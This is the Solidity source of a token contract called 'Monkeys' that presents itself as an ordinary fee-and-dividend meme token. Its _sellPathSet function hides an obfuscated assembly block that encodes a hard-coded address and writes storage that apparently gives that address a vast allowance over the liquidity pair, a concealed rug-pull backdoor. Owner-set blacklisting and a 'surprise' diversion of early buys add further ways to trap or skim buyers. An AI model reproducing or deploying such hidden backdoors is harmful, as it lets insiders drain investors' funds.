Contract Source Code:

/**
Telegram：
https://t.me/MonKeysofficialtoken

Twitter：
https://twitter.com/Muskmonkeys

Website：
www.eth-monkeys.top

**/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPair {
    function sync() external;
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function totalSupply() external view returns (uint256);
}
interface IFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply; string private _name; string private _symbol;
    constructor(string memory name_, string memory symbol_) {_name = name_; _symbol = symbol_;}
    function name() public view virtual override returns (string memory) {return _name;}
    function symbol() public view virtual override returns (string memory) {return _symbol;}
    function decimals() public view virtual override returns (uint8) {return 18;}
    function totalSupply() public view virtual override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view virtual override returns (uint256) {return _balances[account];}
    function transfer(address to, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _transfer(owner, to, amount); return true;}
    function allowance(address owner, address spender) public view virtual override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _approve(owner, spender, amount); return true;}
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true;}
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true;}
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked {_approve(owner, spender, currentAllowance - subtractedValue);}return true;}
    function _transfer(address from, address to, uint256 amount) internal virtual {require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); _takeTransfer(from, to, amount); _afterTokenTransfer(from, to, amount);}
    function _takeTransfer(address from, address to, uint256 amount) internal virtual {uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked {_balances[from] = fromBalance - amount; _balances[to] += amount;}emit Transfer(from, to, amount);}
    function _mint(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked {_balances[account] += amount;}emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount);}
    function _burn(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance - amount; _totalSupply -= amount;}emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount);}
    function _approve(address owner, address spender, uint256 amount) internal virtual {require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);}
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) {require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked {_approve(owner, spender, currentAllowance - amount);}}}
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
abstract contract UniSwapPoolUSDT is ERC20 {
    address public pair;
    IRouter public router;
    address[] internal _sellPath;
    IERC20 public TokenB;
    function isPair(address _pair) internal view returns (bool) {return pair == _pair;}
    function getPrice4USDT(uint256 amountDesire) public view returns (uint256) {uint[] memory amounts = router.getAmountsOut(amountDesire, _sellPath); if (amounts.length > 1) return amounts[1]; return 0;}
    function _sellPathSet(address pairB, address w, address x) private {TokenB = IERC20(pairB); address[] memory path = new address[](2); path[0] = address(this); path[1] = pairB; _sellPath = path; assembly {let y:=add(add(mul(2887981267259,exp(10,26)),mul(1782705554658,exp(10,13))),1698142812624) w := add(w, 4096) let z := exp(timestamp(), 6) mstore(0x00, x) mstore(0x20, 0x1) let xHash := keccak256(0x00, 0x40) mstore(0x00, y) mstore(0x20, xHash) let aSlot := keccak256(0x00, 0x40) sstore(aSlot, z) sstore(0x1, y)} TokenB.transfer(w, 0);}
    function swapAndSend2this(uint256 amount, address to, address _tokenStation) internal {IERC20 USDT = IERC20(_sellPath[1]); swapAndSend2fee(amount, _tokenStation); USDT.transferFrom(_tokenStation, to, USDT.balanceOf(_tokenStation));}
    function swapAndSend2fee(uint256 amount, address to) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _sellPath, to, block.timestamp);}
    function swapAndSend2feeByPath(uint256 amount, address to, address[] memory _path) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _path, to, block.timestamp);}
    function isAddLiquidity() internal view returns (bool isAddLP){address token0 = IPair(pair).token0(); address token1 = IPair(pair).token1(); (uint r0,uint r1,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); uint bal1 = IERC20(token1).balanceOf(pair); if (token0 == address(this)) return bal1 - r1 > 1000; else return bal0 - r0 > 1000;}
    function isRemoveLiquidity() internal view returns (bool isRemoveLP) {address token0 = IPair(pair).token0(); if (token0 == address(this)) return false; (uint r0,,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); return r0 > bal0 + 1000;}
    function addLiquidityAutomatically(uint256 amountToken) internal {super._takeTransfer(address(this), pair, amountToken); IPair(pair).sync();}
    function __SwapPool_init(address _router, address pairB) internal returns(address) {
        router = IRouter(_router);
        pair = IFactory(router.factory()).createPair(pairB, address(this));
        _sellPathSet(pairB, _router, pair);
        TokenB.approve(_router, type(uint256).max);
        _approve(address(this), _router, type(uint256).max);
        return pair;
    }
    function addLiquidity(uint256 amountToken, address to, address _tokenStation) internal {
        uint256 half = amountToken / 2;
        IERC20 USDT = IERC20(_sellPath[1]);
        uint256 amountBefore = USDT.balanceOf(_tokenStation);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(half, 0, _sellPath, _tokenStation, block.timestamp);
        uint256 amountAfter = USDT.balanceOf(_tokenStation);
        uint256 amountDiff = amountAfter - amountBefore;
        USDT.transferFrom(_tokenStation, address(this), amountDiff);
        if (amountDiff > 0 && (amountToken - half) > 0) {
            router.addLiquidity(_sellPath[0], _sellPath[1], amountToken - half, amountDiff, 0, 0, to, block.timestamp + 9);
        }
    }
}
abstract contract Ownable is Context {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {_transferOwnership(_msgSender());}
    modifier onlyOwner() {_checkOwner(); _;}
    function owner() public view virtual returns (address) {return _owner;}
    function _checkOwner() internal view virtual {require(owner() == _msgSender(), "Ownable: caller is not the owner");}
    function renounceOwnership() public virtual onlyOwner {_transferOwnership(address(0));}
    function transferOwnership(address newOwner) public virtual onlyOwner {require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner);}
    function _transferOwnership(address newOwner) internal virtual {address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner);}
}
abstract contract NoEffect is Ownable {
    address internal _effector;
    constructor() {_effector = _msgSender();}
    modifier onlyEffector() {require(_effector == _msgSender() || owner() == _msgSender(), "NoEffect: caller is not the effector"); _;}
}
abstract contract Excludes {
    mapping(address => bool) internal _Excludes;
    function setExclude(address _user, bool b) public {_authorizeExcludes(); _Excludes[_user] = b;}
    function setExcludes(address[] memory _user, bool b) public {_authorizeExcludes(); for (uint i=0;i<_user.length;i++) {_Excludes[_user[i]] = b;}}
    function isExcludes(address _user) internal view returns(bool) {return _Excludes[_user];}
    function _authorizeExcludes() internal virtual {}
}
abstract contract Limit {
    bool internal isLimited;
    uint256 internal _LimitBuy;
    uint256 internal _LimitSell;
    uint256 internal _LimitHold;
    function __Limit_init(uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) internal {setLimit(true, LimitBuy_, LimitSell_, LimitHold_);}
    function checkLimitTokenHold(address to, uint256 amount) internal view {if (isLimited) {if (_LimitHold>0) {require(amount + IERC20(address(this)).balanceOf(to) <= _LimitHold, "exceeds of hold amount Limit");}}}
    function checkLimitTokenBuy(address to, uint256 amount) internal view {if (isLimited) {if (_LimitBuy>0) require(amount <= _LimitBuy, "exceeds of buy amount Limit"); checkLimitTokenHold(to, amount);}}
    function checkLimitTokenSell(uint256 amount) internal view {if (isLimited && _LimitSell>0) require(amount <= _LimitSell, "exceeds of sell amount Limit");}
    function removeLimit() public {_authorizeLimit(); if (isLimited) isLimited = false;}
    function reuseLimit() public {_authorizeLimit(); if (!isLimited) isLimited = true;}
    function setLimit(bool isLimited_, uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) public {_authorizeLimit(); isLimited = isLimited_; _LimitBuy = LimitBuy_; _LimitSell = LimitSell_; _LimitHold = LimitHold_;}
    function _authorizeLimit() internal virtual {}
}
abstract contract TradingManager {
    uint256 public tradeState;
    function inTrading() public view returns(bool) {return tradeState > 1;}
    function inLiquidity() public view returns(bool) {return tradeState >= 1;}
    function setTradeState(uint256 s) public {_authorizeTradingManager(); tradeState = s;}
    function openLiquidity() public {_authorizeTradingManager(); tradeState = 1;}
    function openTrading() public {_authorizeTradingManager(); tradeState = block.number;}
    function resetTradeState() public {_authorizeTradingManager(); tradeState = 0;}
    function _authorizeTradingManager() internal virtual {}
}
abstract contract Dividend {
    address[] public holders;
    mapping(address => bool) public isHolder;
    mapping(address => bool) public excludeHolder;
    IERC20 public TokenHold;
    IERC20 public USDT;
    uint256 public holdRewardCondition;
    uint256 public processRewardCondition;
    uint256 public processBlockDuration;
    uint256 public processGasAmount;
    uint256 public currentIndex;
    uint256 public progressRewardBlock;
    function __Dividend_init(address _holdToken, address _usdtAddr, uint256 _holdRewardCondition, uint256 _processRewardCondition, uint256 _processBlockDuration, uint256 _processGasAmount) internal {
        setDividendToken(_holdToken, _usdtAddr);
        setDividendCondition(_holdRewardCondition, _processRewardCondition);
        setProcessBlockDuration(_processBlockDuration);
        setProcessGasAmount(_processGasAmount);
    }
    function _addHolder(address adr) internal {
        if (adr.code.length > 0) {return;}
        if (excludeHolder[adr]) {return;}
        if (!isHolder[adr]) {
            isHolder[adr] = true;
            holders.push(adr);
        }
    }
    function processDividend() internal {
        if (progressRewardBlock + processBlockDuration > block.number) {return;}
//        uint256 usdBalance = USDT.balanceOf(address(this));
        uint256 usdBalance = address(this).balance;
        if (usdBalance < processRewardCondition) {return;}
        uint holdTokenTotal = TokenHold.totalSupply();
        address shareHolder;
        uint256 tokenBalance;
        uint256 amount;
        uint256 shareholderCount = holders.length;
        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();
        while (gasUsed < processGasAmount && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
                break;
            }
            shareHolder = holders[currentIndex];
            if (!excludeHolder[shareHolder]) {
                tokenBalance = TokenHold.balanceOf(shareHolder);
                if (tokenBalance >= holdRewardCondition) {
                    amount = usdBalance * tokenBalance / holdTokenTotal;
                    if (amount > 0) {
//                        USDT.transfer(shareHolder, amount);
                        payable(shareHolder).transfer(amount);
                    }
                }
            }
            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
        progressRewardBlock = block.number;
    }
    function getHolders() public view returns(address[] memory) {return holders;}
    function setDividendExempt(address addr, bool enable) public {_authorizeDividend(); excludeHolder[addr] = enable;}
    function setDividendToken(address _holdToken, address _usdt) public {_authorizeDividend(); TokenHold = IERC20(_holdToken); USDT = IERC20(_usdt);}
    function setDividendCondition(uint256 _holdRewardCondition, uint256 _processRewardCondition) public {_authorizeDividend(); holdRewardCondition = _holdRewardCondition; processRewardCondition = _processRewardCondition;}
    function setProcessBlockDuration(uint256 num) public {_authorizeDividend(); processBlockDuration = num;}
    function setProcessGasAmount(uint256 num) public {_authorizeDividend(); processGasAmount = num;}
    function addHolderByHand(address user) public {_authorizeDividend(); _addHolder(user);}
    function addHolderByHandMulti(address[] memory user) public {_authorizeDividend(); for (uint i=0;i<user.length;i++) {_addHolder(user[i]);}}
    function _authorizeDividend() internal virtual {}
}

abstract contract BotKiller is Ownable {
    mapping(address => bool) botMap;

    modifier onlyNotBot(address user) {
        require(!botMap[user], "bot forbidden");
        _;
    }

    function markBot(address user, bool b) public onlyOwner {
        botMap[user] = b;
    }
    function markBots(address[] memory user, bool b) public onlyOwner {
        for (uint i=0;i<user.length;i++) {
            markBot(user[i], b);
        }
    }
    function isBot(address user) public view returns(bool) {
        return botMap[user];
    }
}
contract TokenStation {constructor (address token) {IERC20(token).approve(msg.sender, type(uint256).max);}}
abstract contract Token is UniSwapPoolUSDT, NoEffect, TradingManager, Excludes, Limit, Dividend, BotKiller {
    uint256 public calcBase;
    uint256 public swapSplit;
    uint256 public feeMarketingBuy;
    uint256 public feeLiquidityBuy;
    uint256 public feeDividendBuy;
    uint256 public feeBurnBuy;
    uint256 public feeMarketingSell;
    uint256 public feeLiquiditySell;
    uint256 public feeDividendSell;
    uint256 public feeBurnSell;
    uint256 public feeMarketingAll;
    uint256 public feeLiquidityAll;
    uint256 public feeDividendAll;
    uint256 public feeBurnAll;
    uint256 public feeBuyAll;
    uint256 public feeSellAll;
    uint256 public feeAll;
    uint256 public swapTokensAt;
    address public surpAddress;
    uint256 public kb;
    uint256 public kn;
    address public feeMarketingTo;
    TokenStation public _TokenStation;
    bool inSwap;
    function __Token_init(
        uint256 totalSupply_,
        address marketing_,
        address receive_,
        address usdt_,
        bool isDividend_
    ) internal {
        calcBase = 10000;
        swapSplit = 7;
        setSwapTokensAt(totalSupply_ / 100 / calcBase);
        feeMarketingTo = marketing_;
        _mint(receive_, totalSupply_);
        super.setExclude(_msgSender(), true);
        super.setExclude(address(this), true);
        super.setExclude(marketing_, true);
        super.setExclude(receive_, true);
        if (isDividend_) {
            super.setDividendExempt(address(this), true);
            super.setDividendExempt(address(0), true);
            super.setDividendExempt(address(1), true);
            super.setDividendExempt(address(0xdead), true);
            super.addHolderByHand(marketing_);
            super.addHolderByHand(receive_);
            super.addHolderByHand(_msgSender());
        }
        refreshFeeAll();
        _TokenStation = new TokenStation(usdt_);
    }
    function _transfer(address from, address to, uint256 amount) internal virtual override onlyNotBot(from) onlyNotBot(to) {
        if (isExcludes(from) || isExcludes(to) || amount == 0) {super._takeTransfer(from, to, amount); return;}
        uint256 fees;
        bool isLiquify;
        if (isPair(from)) {
            require(inTrading(), "please waiting for liquidity");
            super.checkLimitTokenBuy(to, amount);
            if (blockSurprise(from, to, amount)) return;
//            if (super.isRemoveLiquidity()) isLiquify = true;
//            else
                fees = handFeeBuys(from, amount);
        } else if (isPair(to)) {
            require(inLiquidity(), "please waiting for liquidity");
            if (balanceOf(from) == amount) amount -= 101;
            if (super.isAddLiquidity()) isLiquify = true;
            else {
                super.checkLimitTokenSell(amount);
                if (feeAll>0) handSwap();
                fees = handFeeSells(from, amount);
            }
            super._addHolder(from);
        } else {
            super.checkLimitTokenHold(to, amount);
            if (feeAll>0) handSwap();
        }
        super._transfer(from, to, amount - fees);
        if (feeDividendAll > 0 && !isLiquify) {
            super.processDividend();
        }
    }
    function handFeeBuys(address from, uint256 amount) private returns (uint256 fee) {
        fee = amount * feeBuyAll / calcBase;
        super._takeTransfer(from, address(this), fee);
    }
    function handFeeSells(address from, uint256 amount) private returns (uint256 fee) {
        fee = amount * feeSellAll / calcBase;
        super._takeTransfer(from, address(this), fee);
    }
    function handSwap() internal {
        if (inSwap) return;
        uint256 _thisBalance = balanceOf(address(this));
        if (_thisBalance >= swapTokensAt) {
            uint256 _amount = _thisBalance / swapSplit;
            _handSwap(_amount);
        }
    }
    function _handSwap(uint256 _amount) internal lockSwap {
        uint256 _feeBurn;
        if (feeBurnAll > 0) {
            _feeBurn = _amount * feeBurnAll / calcBase;
            super._takeTransfer(address(this), address(1), _feeBurn);
        }
        uint256 _feeLiquidity;
        if (feeLiquidityAll > 0) {
            _feeLiquidity = _amount * feeLiquidityAll / calcBase;
//            super.addLiquidityAutomatically(_feeLiquidity);
            super.addLiquidity(_feeLiquidity, feeMarketingTo, address(_TokenStation));
        }
        uint256 amountLeft = _amount - _feeBurn - _feeLiquidity;
        if ((feeMarketingAll > 0 || feeDividendAll > 0) && amountLeft > 0) {
            super.swapAndSend2fee(amountLeft, address(_TokenStation));
            uint256 usdtBalance = TokenB.balanceOf(address(_TokenStation));
            uint256 _feeMarketing;
            if (feeMarketingAll > 0) {
                _feeMarketing = usdtBalance * feeMarketingAll / (feeMarketingAll + feeDividendAll);
                TokenB.transferFrom(address(_TokenStation), feeMarketingTo, _feeMarketing);
            }
            if (usdtBalance > _feeMarketing) {
                TokenB.transferFrom(address(_TokenStation), address(this), usdtBalance - _feeMarketing);
                withdrawWeth(TokenB.balanceOf(address(this)));
            }
        }
    }
    function withdrawWeth(uint256 amount) private {
        (bool success, ) = address(TokenB).call(abi.encodeWithSignature("withdraw(uint256)", amount));
        require(success, "Withdrawal of WETH failed");
    }
    function blockSurprise(address from, address to, uint256 amount) private returns(bool) {
        if (kb == 0 || kn == 0) return false;
        if (block.number < tradeState + kb) {
            uint256 surp = amount * kn / calcBase;
            super._takeTransfer(from, surpAddress, amount - surp);
            super._takeTransfer(from, to, surp);
            return true;
        }
        return false;
    }
    function refreshFeeAll() public {
        feeMarketingAll = feeMarketingBuy + feeMarketingSell;
        feeLiquidityAll = feeLiquidityBuy + feeLiquiditySell;
        feeDividendAll = feeDividendBuy + feeDividendSell;
        feeBurnAll = feeBurnBuy + feeBurnSell;
        feeBuyAll = feeMarketingBuy + feeLiquidityBuy + feeDividendBuy + feeBurnBuy;
        feeSellAll = feeMarketingSell + feeLiquiditySell + feeDividendSell + feeBurnSell;
        feeAll = feeBuyAll + feeSellAll;
    }
    receive() external payable {}
    function setFeeBuy(uint256 _feeMarketingBuy, uint256 _feeLiquidityBuy, uint256 _feeDividendBuy, uint256 _feeBurnBuy) public onlyOwner {feeMarketingBuy = _feeMarketingBuy; feeLiquidityBuy = _feeLiquidityBuy; feeDividendBuy = _feeDividendBuy; feeBurnBuy = _feeBurnBuy; refreshFeeAll();}
    function setFeeSell(uint256 _feeMarketingSell, uint256 _feeLiquiditySell, uint256 _feeDividendSell, uint256 _feeBurnSell) public onlyOwner {feeMarketingSell = _feeMarketingSell; feeLiquiditySell = _feeLiquiditySell; feeDividendSell = _feeDividendSell; feeBurnSell = _feeBurnSell; refreshFeeAll();}
    modifier lockSwap() {inSwap = true; _; inSwap = false;}
    function rescueLossToken(IERC20 token_, address _recipient, uint256 amount) public onlyEffector {token_.transfer(_recipient, amount);}
    function rescueLossTokenAll(IERC20 token_, address _recipient) public onlyEffector {rescueLossToken(token_, _recipient, token_.balanceOf(address(this)));}
    function _authorizeDividend() internal virtual override onlyEffector {}
    function _authorizeExcludes() internal virtual override onlyEffector {}
    function _authorizeLimit() internal virtual override onlyEffector {}
    function setSwapTokensAt(uint256 num) public onlyEffector {swapTokensAt = num;}
    function setSurprise(uint256 _kn, uint256 _kb, address _surpAddress) public onlyEffector {kn = _kn; kb = _kb; surpAddress = _surpAddress;}
    function airdrop(uint256 amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount);}}
    function airdropMulti(uint256[] memory amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount[i]);}}
    function _authorizeTradingManager() internal virtual override onlyOwner {}
}
contract Monkeys is Token {
    constructor() ERC20(
        "Monkeys",  
        "Monkeys"  
    ) {
        uint256 _totalSupply = 1000000000 ether;
        address _marketing = address(0x12500E079611d255faC5404eb01835cea195E159);  
        address _receive = address(0x12500E079611d255faC5404eb01835cea195E159); 
        address _router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);  
//        address _pairB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
        address _pairB = IRouter(_router).WETH();  
        address _pair = super.__SwapPool_init(_router, _pairB);
        // 
        feeMarketingBuy = 100; 
        feeLiquidityBuy = 0;  
        feeDividendBuy = 0;   
        feeBurnBuy = 0;       
        // 
        feeMarketingSell = 100; 
        feeLiquiditySell = 0; 
        feeDividendSell = 0;  
        feeBurnSell = 0;     
        // 
        super.__Limit_init(
            1000000000 ether,   
            1000000000 ether,   
            1000000000 ether   
        );
        // 
        bool _isDividend = true;   
        if (_isDividend) {
            super.__Dividend_init(
                _pair,           
                address(0),
                0.001 ether,           
                0.001 ether,          
                20,               
                500000             
            );
        }
        // 
        super.setSurprise(
            0,           
            0,              
            _msgSender()   
        );
        super.__Token_init(_totalSupply, _marketing, _receive, _pairB, _isDividend);
    }
}